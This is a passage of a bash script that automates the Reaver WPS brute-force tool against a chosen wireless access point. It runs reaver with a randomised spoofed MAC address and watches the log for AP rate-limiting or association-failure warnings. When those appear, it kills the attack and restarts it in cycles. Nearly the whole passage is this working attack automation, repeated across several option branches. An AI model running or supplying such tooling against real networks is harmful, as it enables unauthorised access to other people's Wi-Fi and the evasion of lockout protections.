echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL36"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP36"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE36 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME36-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL36 -b $TARGETAP36 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME36-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE36-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP36 (ESSID: $NMEWARN36)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP36 (ESSID: $NMEWARN36)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R36 == y || $USE_R36 == Y ]] && [[ $USE_LONG36 == y || $USE_LONG36 == Y ]] && [[ $USE_PIN36 == n || $USE_PIN36 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME36"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL36"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP36"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX36" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY36"
echo -e "$info Reaver live time                   = $yel$LIVE36 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME36-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL36 -b $TARGETAP36 -r $RX36:$RY36 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME36-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE36-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP36 (ESSID: $NMEWARN36)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP36 (ESSID: $NMEWARN36)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R36 == n || $USE_R36 == N ]] && [[ $USE_LONG36 == n || $USE_LONG36 == N ]] && [[ $USE_PIN36 == y || $USE_PIN36 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME36"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL36"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP36"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE36 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME36-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL36 -b $TARGETAP36 -vv -x 60  --pin=$WPS_PIN36 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME36-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE36-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP36 (ESSID: $NMEWARN36)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP36 (ESSID: $NMEWARN36)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R36 == y || $USE_R36 == Y ]] && [[ $USE_LONG36 == n || $USE_LONG36 == N ]] && [[ $USE_PIN36 == y || $USE_PIN36 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME36"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL36"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP36"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX36" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY36"
echo -e "$info Reaver live time                   = $yel$LIVE36 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME36-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL36 -b $TARGETAP36 -vv -x 60 -r $RX36:$RY36 --pin=$WPS_PIN36 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME36-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE36-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP36 (ESSID: $NMEWARN36)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP36 (ESSID: $NMEWARN36)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R36 == n || $USE_R36 == N ]] && [[ $USE_LONG36 == y || $USE_LONG36 == Y ]] && [[ $USE_PIN36 == y || $USE_PIN36 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME36"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL36"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP36"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE36 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME36-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL36 -b $TARGETAP36 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN36 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME36-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE36-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME36-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME36-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME36-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME36-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

